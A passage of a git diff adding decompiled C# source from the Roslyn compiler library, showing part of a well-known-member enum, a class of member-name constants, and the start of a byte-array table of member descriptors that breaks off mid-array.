Microsoft_VisualBasic_CompilerServices_Versioned__IsNumeric, + Microsoft_VisualBasic_CompilerServices_Versioned__SystemTypeName, + Microsoft_VisualBasic_CompilerServices_Versioned__TypeName, + Microsoft_VisualBasic_CompilerServices_Versioned__VbTypeName, + Microsoft_VisualBasic_Information__IsNumeric, + Microsoft_VisualBasic_Information__SystemTypeName, + Microsoft_VisualBasic_Information__TypeName, + Microsoft_VisualBasic_Information__VbTypeName, + Microsoft_VisualBasic_Interaction__CallByName, + System_Runtime_CompilerServices_IAsyncStateMachine_MoveNext, + System_Runtime_CompilerServices_IAsyncStateMachine_SetStateMachine, + System_Runtime_CompilerServices_AsyncVoidMethodBuilder__Create, + System_Runtime_CompilerServices_AsyncVoidMethodBuilder__SetException, + System_Runtime_CompilerServices_AsyncVoidMethodBuilder__SetResult, + System_Runtime_CompilerServices_AsyncVoidMethodBuilder__AwaitOnCompleted, + System_Runtime_CompilerServices_AsyncVoidMethodBuilder__AwaitUnsafeOnCompleted, + System_Runtime_CompilerServices_AsyncVoidMethodBuilder__Start_T, + System_Runtime_CompilerServices_AsyncVoidMethodBuilder__SetStateMachine, + System_Runtime_CompilerServices_AsyncTaskMethodBuilder__Create, + System_Runtime_CompilerServices_AsyncTaskMethodBuilder__SetException, + System_Runtime_CompilerServices_AsyncTaskMethodBuilder__SetResult, + System_Runtime_CompilerServices_AsyncTaskMethodBuilder__AwaitOnCompleted, + System_Runtime_CompilerServices_AsyncTaskMethodBuilder__AwaitUnsafeOnCompleted, + System_Runtime_CompilerServices_AsyncTaskMethodBuilder__Start_T, + System_Runtime_CompilerServices_AsyncTaskMethodBuilder__SetStateMachine, + System_Runtime_CompilerServices_AsyncTaskMethodBuilder__Task, + System_Runtime_CompilerServices_AsyncTaskMethodBuilder_T__Create, + System_Runtime_CompilerServices_AsyncTaskMethodBuilder_T__SetException, + System_Runtime_CompilerServices_AsyncTaskMethodBuilder_T__SetResult, + System_Runtime_CompilerServices_AsyncTaskMethodBuilder_T__AwaitOnCompleted, + System_Runtime_CompilerServices_AsyncTaskMethodBuilder_T__AwaitUnsafeOnCompleted, + System_Runtime_CompilerServices_AsyncTaskMethodBuilder_T__Start_T, + System_Runtime_CompilerServices_AsyncTaskMethodBuilder_T__SetStateMachine, + System_Runtime_CompilerServices_AsyncTaskMethodBuilder_T__Task, + System_Runtime_CompilerServices_AsyncStateMachineAttribute__ctor, + System_Runtime_CompilerServices_IteratorStateMachineAttribute__ctor, + Microsoft_VisualBasic_Strings__AscCharInt32, + Microsoft_VisualBasic_Strings__AscStringInt32, + Microsoft_VisualBasic_Strings__AscWCharInt32, + Microsoft_VisualBasic_Strings__AscWStringInt32, + Microsoft_VisualBasic_Strings__ChrInt32Char, + Microsoft_VisualBasic_Strings__ChrWInt32Char, + System_Xml_Linq_XElement__ctor, + System_Xml_Linq_XElement__ctor2, + System_Xml_Linq_XNamespace__Get, + System_Windows_Forms_Application__RunForm, + System_Environment__CurrentManagedThreadId, + System_ComponentModel_EditorBrowsableAttribute__ctor, + System_Runtime_GCLatencyMode__SustainedLowLatency, + System_ValueTuple_T1__Item1, + System_ValueTuple_T2__Item1, + System_ValueTuple_T2__Item2, + System_ValueTuple_T3__Item1, + System_ValueTuple_T3__Item2, + System_ValueTuple_T3__Item3, + System_ValueTuple_T4__Item1, + System_ValueTuple_T4__Item2, + System_ValueTuple_T4__Item3, + System_ValueTuple_T4__Item4, + System_ValueTuple_T5__Item1, + System_ValueTuple_T5__Item2, + System_ValueTuple_T5__Item3, + System_ValueTuple_T5__Item4, + System_ValueTuple_T5__Item5, + System_ValueTuple_T6__Item1, + System_ValueTuple_T6__Item2, + System_ValueTuple_T6__Item3, + System_ValueTuple_T6__Item4, + System_ValueTuple_T6__Item5, + System_ValueTuple_T6__Item6, + System_ValueTuple_T7__Item1, + System_ValueTuple_T7__Item2, + System_ValueTuple_T7__Item3, + System_ValueTuple_T7__Item4, + System_ValueTuple_T7__Item5, + System_ValueTuple_T7__Item6, + System_ValueTuple_T7__Item7, + System_ValueTuple_TRest__Item1, + System_ValueTuple_TRest__Item2, + System_ValueTuple_TRest__Item3, + System_ValueTuple_TRest__Item4, + System_ValueTuple_TRest__Item5, + System_ValueTuple_TRest__Item6, + System_ValueTuple_TRest__Item7, + System_ValueTuple_TRest__Rest, + System_ValueTuple_T1__ctor, + System_ValueTuple_T2__ctor, + System_ValueTuple_T3__ctor, + System_ValueTuple_T4__ctor, + System_ValueTuple_T5__ctor, + System_ValueTuple_T6__ctor, + System_ValueTuple_T7__ctor, + System_ValueTuple_TRest__ctor, + System_Runtime_CompilerServices_TupleElementNamesAttribute__ctorTransformNames, + System_String__Format_IFormatProvider, + Microsoft_CodeAnalysis_Runtime_Instrumentation__CreatePayloadForMethodsSpanningSingleFile, + Microsoft_CodeAnalysis_Runtime_Instrumentation__CreatePayloadForMethodsSpanningMultipleFiles, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogMethodEntry, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogLambdaEntry, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogStateMachineMethodEntry, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogStateMachineLambdaEntry, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogReturn, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__GetNewStateMachineInstanceId, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogLocalStoreBoolean, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogLocalStoreByte, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogLocalStoreUInt16, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogLocalStoreUInt32, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogLocalStoreUInt64, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogLocalStoreSingle, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogLocalStoreDouble, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogLocalStoreDecimal, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogLocalStoreString, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogLocalStoreObject, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogLocalStorePointer, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogLocalStoreUnmanaged, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogLocalStoreParameterAlias, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogParameterStoreBoolean, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogParameterStoreByte, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogParameterStoreUInt16, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogParameterStoreUInt32, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogParameterStoreUInt64, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogParameterStoreSingle, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogParameterStoreDouble, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogParameterStoreDecimal, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogParameterStoreString, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogParameterStoreObject, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogParameterStorePointer, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogParameterStoreUnmanaged, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogParameterStoreParameterAlias, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker__LogLocalStoreLocalAlias, + System_Runtime_CompilerServices_NullableAttribute__ctorByte, + System_Runtime_CompilerServices_NullableAttribute__ctorTransformFlags, + System_Runtime_CompilerServices_NullableContextAttribute__ctor, + System_Runtime_CompilerServices_NullablePublicOnlyAttribute__ctor, + System_Runtime_CompilerServices_ReferenceAssemblyAttribute__ctor, + System_Runtime_CompilerServices_IsReadOnlyAttribute__ctor, + System_Runtime_CompilerServices_RequiresLocationAttribute__ctor, + System_Runtime_CompilerServices_IsByRefLikeAttribute__ctor, + System_ObsoleteAttribute__ctor, + System_Span_T__ctor_Pointer, + System_Span_T__ctor_Array, + System_Span_T__get_Item, + System_Span_T__get_Length, + System_Span_T__Slice_Int_Int, + System_ReadOnlySpan_T__ctor_Pointer, + System_ReadOnlySpan_T__ctor_Array, + System_ReadOnlySpan_T__ctor_Array_Start_Length, + System_ReadOnlySpan_T__get_Item, + System_ReadOnlySpan_T__get_Length, + System_ReadOnlySpan_T__Slice_Int_Int, + System_Runtime_CompilerServices_IsUnmanagedAttribute__ctor, + Microsoft_VisualBasic_Conversion__FixSingle, + Microsoft_VisualBasic_Conversion__FixDouble, + Microsoft_VisualBasic_Conversion__IntSingle, + Microsoft_VisualBasic_Conversion__IntDouble, + System_Math__CeilingDouble, + System_Math__FloorDouble, + System_Math__TruncateDouble, + System_Index__ctor, + System_Index__GetOffset, + System_Range__ctor, + System_Range__StartAt, + System_Range__EndAt, + System_Range__get_All, + System_Range__get_Start, + System_Range__get_End, + System_Runtime_CompilerServices_AsyncIteratorStateMachineAttribute__ctor, + System_IAsyncDisposable__DisposeAsync, + System_Collections_Generic_IAsyncEnumerable_T__GetAsyncEnumerator, + System_Collections_Generic_IAsyncEnumerator_T__MoveNextAsync, + System_Collections_Generic_IAsyncEnumerator_T__get_Current, + System_Threading_Tasks_Sources_ManualResetValueTaskSourceCore_T__GetResult, + System_Threading_Tasks_Sources_ManualResetValueTaskSourceCore_T__GetStatus, + System_Threading_Tasks_Sources_ManualResetValueTaskSourceCore_T__OnCompleted, + System_Threading_Tasks_Sources_ManualResetValueTaskSourceCore_T__Reset, + System_Threading_Tasks_Sources_ManualResetValueTaskSourceCore_T__SetException, + System_Threading_Tasks_Sources_ManualResetValueTaskSourceCore_T__SetResult, + System_Threading_Tasks_Sources_ManualResetValueTaskSourceCore_T__get_Version, + System_Threading_Tasks_Sources_IValueTaskSource_T__GetResult, + System_Threading_Tasks_Sources_IValueTaskSource_T__GetStatus, + System_Threading_Tasks_Sources_IValueTaskSource_T__OnCompleted, + System_Threading_Tasks_Sources_IValueTaskSource__GetResult, + System_Threading_Tasks_Sources_IValueTaskSource__GetStatus, + System_Threading_Tasks_Sources_IValueTaskSource__OnCompleted, + System_Threading_Tasks_ValueTask_T__ctorSourceAndToken, + System_Threading_Tasks_ValueTask_T__ctorValue, + System_Threading_Tasks_ValueTask__ctor, + System_Runtime_CompilerServices_AsyncIteratorMethodBuilder__Create, + System_Runtime_CompilerServices_AsyncIteratorMethodBuilder__Complete, + System_Runtime_CompilerServices_AsyncIteratorMethodBuilder__AwaitOnCompleted, + System_Runtime_CompilerServices_AsyncIteratorMethodBuilder__AwaitUnsafeOnCompleted, + System_Runtime_CompilerServices_AsyncIteratorMethodBuilder__MoveNext_T, + System_Runtime_CompilerServices_ITuple__get_Item, + System_Runtime_CompilerServices_ITuple__get_Length, + System_InvalidOperationException__ctor, + System_InvalidOperationException__ctorString, + System_Runtime_CompilerServices_SwitchExpressionException__ctor, + System_Runtime_CompilerServices_SwitchExpressionException__ctorObject, + System_Threading_CancellationToken__Equals, + System_Threading_CancellationTokenSource__CreateLinkedTokenSource, + System_Threading_CancellationTokenSource__Token, + System_Threading_CancellationTokenSource__Dispose, + System_ArgumentNullException__ctorString, + System_Runtime_CompilerServices_NativeIntegerAttribute__ctor, + System_Runtime_CompilerServices_NativeIntegerAttribute__ctorTransformFlags, + System_Text_StringBuilder__AppendString, + System_Text_StringBuilder__AppendChar, + System_Text_StringBuilder__AppendObject, + System_Text_StringBuilder__ctor, + System_Runtime_CompilerServices_DefaultInterpolatedStringHandler__ToStringAndClear, + System_Runtime_CompilerServices_RequiredMemberAttribute__ctor, + System_Diagnostics_CodeAnalysis_SetsRequiredMembersAttribute__ctor, + System_Runtime_CompilerServices_ScopedRefAttribute__ctor, + System_Runtime_CompilerServices_RefSafetyRulesAttribute__ctor, + System_MemoryExtensions__SequenceEqual_Span_T, + System_MemoryExtensions__SequenceEqual_ReadOnlySpan_T, + System_MemoryExtensions__AsSpan_String, + System_Runtime_CompilerServices_CompilerFeatureRequiredAttribute__ctor, + System_Diagnostics_CodeAnalysis_UnscopedRefAttribute__ctor, + System_NotSupportedException__ctor, + System_MissingMethodException__ctor, + System_Runtime_CompilerServices_MetadataUpdateOriginalTypeAttribute__ctor, + System_Collections_Generic_IReadOnlyCollection_T__Count, + System_Collections_Generic_IReadOnlyList_T__get_Item, + System_Collections_Generic_ICollection_T__Count, + System_Collections_Generic_ICollection_T__IsReadOnly, + System_Collections_Generic_ICollection_T__Add, + System_Collections_Generic_ICollection_T__Clear, + System_Collections_Generic_ICollection_T__Contains, + System_Collections_Generic_ICollection_T__CopyTo, + System_Collections_Generic_ICollection_T__Remove, + System_Collections_Generic_IList_T__get_Item, + System_Collections_Generic_IList_T__IndexOf, + System_Collections_Generic_IList_T__Insert, + System_Collections_Generic_IList_T__RemoveAt, + System_Collections_Generic_List_T__ctor, + System_Collections_Generic_List_T__ctorInt32, + System_Collections_Generic_List_T__Add, + System_Collections_Generic_List_T__Count, + System_Collections_Generic_List_T__Contains, + System_Collections_Generic_List_T__CopyTo, + System_Collections_Generic_List_T__get_Item, + System_Collections_Generic_List_T__IndexOf, + System_Collections_Generic_List_T__ToArray, + System_Runtime_InteropServices_CollectionsMarshal__AsSpan_T, + System_Runtime_InteropServices_CollectionsMarshal__SetCount_T, + System_Runtime_InteropServices_ImmutableCollectionsMarshal__AsImmutableArray_T, + Count +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownMemberNames.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownMemberNames.cs new file mode 100644 index 0000000..bf19682 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownMemberNames.cs @@ -0,0 +1,156 @@ +namespace Microsoft.CodeAnalysis; + +public static class WellKnownMemberNames +{ + public const string EnumBackingFieldName = "value__"; + + public const string InstanceConstructorName = ".ctor"; + + public const string StaticConstructorName = ".cctor"; + + public const string Indexer = "this[]"; + + public const string DestructorName = "Finalize"; + + public const string DelegateInvokeName = "Invoke"; + + public const string DelegateBeginInvokeName = "BeginInvoke"; + + public const string DelegateEndInvokeName = "EndInvoke"; + + public const string EntryPointMethodName = "Main"; + + public const string DefaultScriptClassName = "Script"; + + public const string ObjectToString = "ToString"; + + public const string ObjectEquals = "Equals"; + + public const string ObjectGetHashCode = "GetHashCode"; + + public const string ImplicitConversionName = "op_Implicit"; + + public const string ExplicitConversionName = "op_Explicit"; + + public const string CheckedExplicitConversionName = "op_CheckedExplicit"; + + public const string AdditionOperatorName = "op_Addition"; + + public const string CheckedAdditionOperatorName = "op_CheckedAddition"; + + public const string BitwiseAndOperatorName = "op_BitwiseAnd"; + + public const string BitwiseOrOperatorName = "op_BitwiseOr"; + + public const string DecrementOperatorName = "op_Decrement"; + + public const string CheckedDecrementOperatorName = "op_CheckedDecrement"; + + public const string DivisionOperatorName = "op_Division"; + + public const string CheckedDivisionOperatorName = "op_CheckedDivision"; + + public const string EqualityOperatorName = "op_Equality"; + + public const string ExclusiveOrOperatorName = "op_ExclusiveOr"; + + public const string FalseOperatorName = "op_False"; + + public const string GreaterThanOperatorName = "op_GreaterThan"; + + public const string GreaterThanOrEqualOperatorName = "op_GreaterThanOrEqual"; + + public const string IncrementOperatorName = "op_Increment"; + + public const string CheckedIncrementOperatorName = "op_CheckedIncrement"; + + public const string InequalityOperatorName = "op_Inequality"; + + public const string LeftShiftOperatorName = "op_LeftShift"; + + public const string UnsignedLeftShiftOperatorName = "op_UnsignedLeftShift"; + + public const string LessThanOperatorName = "op_LessThan"; + + public const string LessThanOrEqualOperatorName = "op_LessThanOrEqual"; + + public const string LogicalNotOperatorName = "op_LogicalNot"; + + public const string LogicalOrOperatorName = "op_LogicalOr"; + + public const string LogicalAndOperatorName = "op_LogicalAnd"; + + public const string ModulusOperatorName = "op_Modulus"; + + public const string MultiplyOperatorName = "op_Multiply"; + + public const string CheckedMultiplyOperatorName = "op_CheckedMultiply"; + + public const string OnesComplementOperatorName = "op_OnesComplement"; + + public const string RightShiftOperatorName = "op_RightShift"; + + public const string UnsignedRightShiftOperatorName = "op_UnsignedRightShift"; + + public const string SubtractionOperatorName = "op_Subtraction"; + + public const string CheckedSubtractionOperatorName = "op_CheckedSubtraction"; + + public const string TrueOperatorName = "op_True"; + + public const string UnaryNegationOperatorName = "op_UnaryNegation"; + + public const string CheckedUnaryNegationOperatorName = "op_CheckedUnaryNegation"; + + public const string UnaryPlusOperatorName = "op_UnaryPlus"; + + public const string ConcatenateOperatorName = "op_Concatenate"; + + public const string ExponentOperatorName = "op_Exponent"; + + public const string IntegerDivisionOperatorName = "op_IntegerDivision"; + + public const string LikeOperatorName = "op_Like"; + + public const string GetEnumeratorMethodName = "GetEnumerator"; + + public const string GetAsyncEnumeratorMethodName = "GetAsyncEnumerator"; + + public const string MoveNextAsyncMethodName = "MoveNextAsync"; + + public const string DeconstructMethodName = "Deconstruct"; + + public const string MoveNextMethodName = "MoveNext"; + + public const string CurrentPropertyName = "Current"; + + public const string ValuePropertyName = "Value"; + + public const string CollectionInitializerAddMethodName = "Add"; + + public const string GetAwaiter = "GetAwaiter"; + + public const string IsCompleted = "IsCompleted"; + + public const string GetResult = "GetResult"; + + public const string OnCompleted = "OnCompleted"; + + public const string DisposeMethodName = "Dispose"; + + public const string DisposeAsyncMethodName = "DisposeAsync"; + + public const string CountPropertyName = "Count"; + + public const string LengthPropertyName = "Length"; + + public const string SliceMethodName = "Slice"; + + internal const string CloneMethodName = "$"; + + public const string PrintMembersMethodName = "PrintMembers"; + + public const string TopLevelStatementsEntryPointMethodName = "
$"; + + public const string TopLevelStatementsEntryPointTypeName = "Program"; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownMembers.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownMembers.cs new file mode 100644 index 0000000..72eeca5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownMembers.cs @@ -0,0 +1,574 @@ +using System.Collections.Immutable; +using System.IO; +using Microsoft.CodeAnalysis.RuntimeMembers; + +namespace Microsoft.CodeAnalysis; + +internal static class WellKnownMembers +{ + private static readonly ImmutableArray s_descriptors; + + static WellKnownMembers() + { + byte[] buffer = new byte[4752] + { + 65, 1, 0, 0, 64, 20, 33, 47, 0, 1, + 64, 19, 64, 19, 33, 47, 0, 2, 64, 19, + 64, 19, 64, 19, 8, 48, 0, 0, 64, 13, + 33, 48, 1, 0, 29, 30, 0, 33, 51, 0, + 1, 64, 7, 64, 17, 33, 51, 0, 1, 64, + 7, 64, 13, 33, 51, 0, 1, 64, 7, 64, + 14, 33, 51, 0, 1, 64, 7, 64, 15, 33, + 51, 0, 1, 64, 7, 64, 16, 33, 51, 0, + 1, 64, 7, 64, 18, 33, 51, 0, 1, 64, + 7, 64, 19, 33, 51, 0, 1, 64, 9, 64, + 17, 33, 51, 0, 1, 64, 9, 64, 19, 33, + 51, 0, 1, 64, 9, 64, 18, 33, 51, 0, + 1, 64, 10, 64, 17, 33, 51, 0, 1, 64, + 10, 64, 19, 33, 51, 0, 1, 64, 10, 64, + 18, 33, 51, 0, 1, 64, 11, 64, 17, 33, + 51, 0, 1, 64, 11, 64, 19, 33, 51, 0, + 1, 64, 11, 64, 18, 33, 51, 0, 1, 64, + 12, 64, 17, 33, 51, 0, 1, 64, 12, 64, + 19, 33, 51, 0, 1, 64, 12, 64, 18, 33, + 51, 0, 1, 64, 13, 64, 17, 33, 51, 0, + 1, 64, 13, 64, 19, 33, 51, 0, 1, 64, + 13, 64, 18, 33, 51, 0, 1, 64, 14, 64, + 17, 33, 51, 0, 1, 64, 14, 64, 19, 33, + 51, 0, 1, 64, 14, 64, 18, 33, 51, 0, + 1, 64, 15, 64, 17, 33, 51, 0, 1, 64, + 15, 64, 19, 33, 51, 0, 1, 64, 15, 64, + 18, 33, 51, 0, 1, 64, 16, 64, 17, 33, + 51, 0, 1, 64, 16, 64, 19, 33, 51, 0, + 1, 64, 16, 64, 18, 33, 51, 0, 1, 64, + 18, 64, 17, 33, 51, 0, 1, 64, 19, 64, + 17, 4, 50, 0, 1, 64, 6, 64, 7, 4, + 53, 0, 0, 64, 6, 4, 55, 0, 1, 64, + 6, 64, 20, 33, 61, 0, 1, 64, 61, 64, + 55, 33, 61, 0, 1, 64, 61, 64, 57, 34, + 61, 0, 64, 1, 33, 61, 0, 2, 64, 7, + 64, 61, 64, 61, 4, 62, 0, 1, 64, 6, + 64, 20, 4, 63, 0, 1, 64, 6, 64, 20, + 33, 66, 0, 1, 64, 66, 64, 59, 33, 66, + 0, 2, 64, 66, 64, 59, 64, 57, 65, 64, + 0, 2, 64, 4, 64, 61, 64, 1, 33, 4, + 0, 3, 64, 4, 64, 61, 64, 1, 64, 64, + 33, 4, 0, 4, 64, 4, 64, 61, 64, 1, + 64, 64, 64, 7, 33, 67, 0, 1, 64, 67, + 64, 58, 33, 67, 0, 2, 64, 67, 64, 58, + 64, 57, 34, 69, 0, 64, 69, 65, 201, 0, + 1, 64, 7, 19, 0, 65, 255, 47, 0, 2, + 64, 7, 19, 0, 19, 0, 65, 205, 0, 2, + 64, 7, 19, 0, 19, 0, 65, 205, 0, 1, + 64, 13, 19, 0, 40, 205, 0, 0, 64, 205, + 4, 162, 0, 1, 64, 6, 64, 0, 16, 162, + 0, 0, 64, 7, 16, 162, 0, 0, 64, 7, + 4, 163, 0, 0, 64, 6, 4, 165, 0, 0, + 64, 6, 4, 166, 0, 1, 64, 6, 64, 20, + 33, 191, 0, 0, 64, 6, 4, 192, 0, 1, + 64, 6, 64, 20, 16, 192, 0, 0, 64, 20, + 4, 193, 0, 0, 64, 6, 4, 194, 0, 0, + 64, 6, 4, 195, 0, 1, 64, 6, 64, 197, + 4, 196, 0, 0, 64, 6, 4, 198, 0, 1, + 64, 6, 64, 199, 34, 199, 0, 64, 199, 34, + 199, 0, 64, 199, 34, 199, 0, 64, 199, 34, + 199, 0, 64, 199, 4, 74, 0, 1, 64, 6, + 64, 1, 4, 75, 0, 1, 64, 6, 64, 1, + 4, 77, 0, 1, 64, 6, 64, 78, 4, 79, + 0, 1, 64, 6, 64, 61, 4, 80, 0, 2, + 64, 6, 64, 61, 64, 20, 65, 80, 0, 2, + 64, 6, 64, 1, 64, 4, 65, 80, 0, 2, + 64, 6, 64, 1, 64, 4, 4, 81, 0, 2, + 64, 6, 64, 61, 64, 61, 4, 83, 0, 1, + 64, 6, 64, 20, 4, 84, 0, 1, 64, 6, + 64, 7, 4, 85, 0, 1, 64, 6, 64, 13, + 4, 86, 0, 1, 64, 6, 64, 20, 4, 87, + 0, 1, 64, 6, 64, 82, 4, 87, 0, 1, + 64, 6, 64, 11, 33, 88, 0, 1, 64, 61, + 64, 55, 4, 89, 0, 0, 64, 6, 4, 89, + 0, 2, 64, 6, 64, 20, 64, 20, 4, 90, + 0, 1, 64, 6, 64, 7, 4, 91, 0, 1, + 64, 6, 64, 1, 4, 92, 0, 1, 64, 6, + 64, 13, 4, 93, 0, 1, 64, 6, 64, 76, + 33, 255, 51, 1, 2, 21, 64, 255, 20, 1, + 30, 0, 16, 30, 0, 64, 13, 33, 255, 51, + 1, 2, 21, 64, 255, 21, 1, 30, 0, 16, + 30, 0, 64, 13, 1, 185, 0, 1, 64, 184, + 19, 0, 33, 185, 0, 1, 21, 64, 185, 1, + 19, 0, 16, 21, 64, 185, 1, 19, 0, 16, + 185, 0, 0, 19, 0, 1, 185, 0, 1, 64, + 6, 64, 184, 33, 186, 1, 3, 64, 6, 21, + 64, 129, 2, 30, 0, 64, 184, 21, 64, 146, + 1, 64, 184, 30, 0, 33, 186, 0, 1, 64, + 6, 21, 64, 146, 1, 64, 184, 33, 186, 1, + 2, 64, 6, 21, 64, 146, 1, 64, 184, 30, + 0, 4, 167, 0, 1, 64, 6, 64, 15, 4, + 168, 0, 5, 64, 6, 64, 10, 64, 10, 64, + 14, 64, 14, 64, 14, 4, 168, 0, 5, 64, + 6, 64, 10, 64, 10, 64, 13, 64, 13, 64, + 13, 4, 171, 0, 0, 64, 6, 4, 174, 0, + 0, 64, 6, 4, 175, 0, 1, 64, 6, 64, + 20, 4, 176, 0, 1, 64, 6, 64, 13, 4, + 177, 0, 0, 64, 6, 16, 177, 0, 0, 64, + 7, 4, 178, 0, 0, 64, 6, 4, 179, 0, + 2, 64, 6, 64, 61, 64, 13, 4, 180, 0, + 0, 64, 6, 4, 180, 0, 1, 64, 6, 29, + 64, 7, 33, 183, 0, 1, 21, 64, 183, 1, + 19, 0, 64, 181, 2, 183, 0, 19, 0, 33, + 71, 1, 1, 21, 64, 255, 21, 1, 30, 0, + 64, 58, 33, 71, 0, 1, 64, 1, 64, 1, + 33, 71, 0, 2, 64, 6, 64, 23, 64, 58, + 40, 71, 0, 0, 64, 13, 33, 71, 1, 2, + 29, 30, 0, 29, 30, 0, 64, 255, 30, 33, + 71, 0, 0, 64, 6, 33, 255, 66, 1, 2, + 16, 30, 0, 16, 30, 0, 64, 13, 33, 255, + 66, 2, 1, 16, 30, 1, 16, 30, 0, 33, + 255, 66, 1, 1, 16, 30, 0, 16, 30, 0, + 33, 72, 0, 1, 64, 72, 64, 52, 1, 72, + 0, 0, 64, 6, 4, 236, 0, 0, 64, 6, + 34, 237, 0, 64, 237, 4, 239, 0, 1, 64, + 6, 64, 237, 16, 239, 0, 0, 64, 7, 33, + 94, 0, 1, 64, 1, 64, 61, 33, 94, 1, + 0, 30, 0, 33, 97, 0, 3, 64, 1, 16, + 64, 1, 64, 1, 64, 1, 33, 97, 1, 3, + 30, 0, 16, 30, 0, 30, 0, 30, 0, 33, + 98, 0, 1, 64, 6, 64, 1, 33, 98, 0, + 2, 64, 6, 64, 1, 16, 64, 7, 33, 98, + 0, 1, 64, 6, 64, 1, 48, 99, 0, 0, + 64, 99, 16, 99, 0, 0, 64, 13, 33, 100, + 0, 4, 64, 181, 64, 103, 64, 221, 64, 61, + 21, 64, 25, 1, 64, 101, 33, 100, 0, 3, + 64, 181, 64, 103, 64, 61, 64, 61, 33, 100, + 0, 3, 64, 181, 64, 103, 64, 61, 21, 64, + 25, 1, 64, 101, 33, 100, 0, 4, 64, 181, + 64, 103, 64, 20, 64, 61, 21, 64, 25, 1, + 64, 101, 33, 100, 0, 3, 64, 181, 64, 103, + 64, 61, 21, 64, 25, 1, 64, 101, 33, 100, + 0, 3, 64, 181, 64, 103, 64, 61, 21, 64, + 25, 1, 64, 101, 33, 100, 0, 5, 64, 181, + 64, 103, 64, 20, 21, 64, 25, 1, 64, 61, + 64, 61, 21, 64, 25, 1, 64, 101, 33, 100, + 0, 3, 64, 181, 64, 103, 64, 20, 64, 61, + 33, 100, 0, 3, 64, 181, 64, 103, 64, 61, + 21, 64, 25, 1, 64, 101, 33, 100, 0, 4, + 64, 181, 64, 103, 64, 20, 64, 61, 21, 64, + 25, 1, 64, 101, 33, 100, 0, 4, 64, 181, + 64, 103, 64, 221, 64, 61, 21, 64, 25, 1, + 64, 101, 33, 101, 0, 2, 64, 101, 64, 102, + 64, 20, 33, 106, 0, 1, 64, 17, 64, 7, + 33, 106, 0, 1, 64, 7, 64, 20, 33, 106, + 0, 1, 64, 9, 64, 20, 33, 106, 0, 1, + 64, 10, 64, 20, 33, 106, 0, 1, 64, 11, + 64, 20, 33, 106, 0, 1, 64, 12, 64, 20, + 33, 106, 0, 1, 64, 13, 64, 20, 33, 106, + 0, 1, 64, 14, 64, 20, 33, 106, 0, 1, + 64, 15, 64, 20, 33, 106, 0, 1, 64, 16, + 64, 20, 33, 106, 0, 1, 64, 18, 64, 20, + 33, 106, 0, 1, 64, 19, 64, 20, 33, 106, + 0, 1, 64, 17, 64, 20, 33, 106, 0, 1, + 64, 33, 64, 20, 33, 106, 0, 1, 64, 8, + 64, 20, 33, 106, 0, 1, 29, 64, 8, 64, + 20, 33, 106, 0, 1, 64, 20, 64, 7, 33, + 106, 0, 1, 64, 20, 64, 13, 33, 106, 0, + 1, 64, 20, 64, 10, 33, 106, 0, 1, 64, + 20, 64, 14, 33, 106, 0, 1, 64, 20, 64, + 15, 33, 106, 0, 1, 64, 20, 64, 16, 33, + 106, 0, 1, 64, 20, 64, 18, 33, 106, 0, + 1, 64, 20, 64, 19, 33, 106, 0, 1, 64, + 20, 64, 17, 33, 106, 0, 1, 64, 20, 64, + 33, 33, 106, 0, 1, 64, 20, 64, 8, 33, + 106, 0, 1, 64, 20, 64, 1, 33, 106, 0, + 1, 64, 7, 64, 1, 33, 106, 0, 1, 64, + 9, 64, 1, 33, 106, 0, 1, 64, 10, 64, + 1, 33, 106, 0, 1, 64, 11, 64, 1, 33, + 106, 0, 1, 64, 12, 64, 1, 33, 106, 0, + 1, 64, 13, 64, 1, 33, 106, 0, 1, 64, + 14, 64, 1, 33, 106, 0, 1, 64, 15, 64, + 1, 33, 106, 0, 1, 64, 16, 64, 1, 33, + 106, 0, 1, 64, 18, 64, 1, 33, 106, 0, + 1, 64, 19, 64, 1, 33, 106, 0, 1, 64, + 17, 64, 1, 33, 106, 0, 1, 64, 33, 64, + 1, 33, 106, 0, 1, 64, 8, 64, 1, 33, + 106, 0, 1, 29, 64, 8, 64, 1, 33, 106, + 1, 1, 30, 0, 64, 1, 33, 106, 0, 2, + 64, 1, 64, 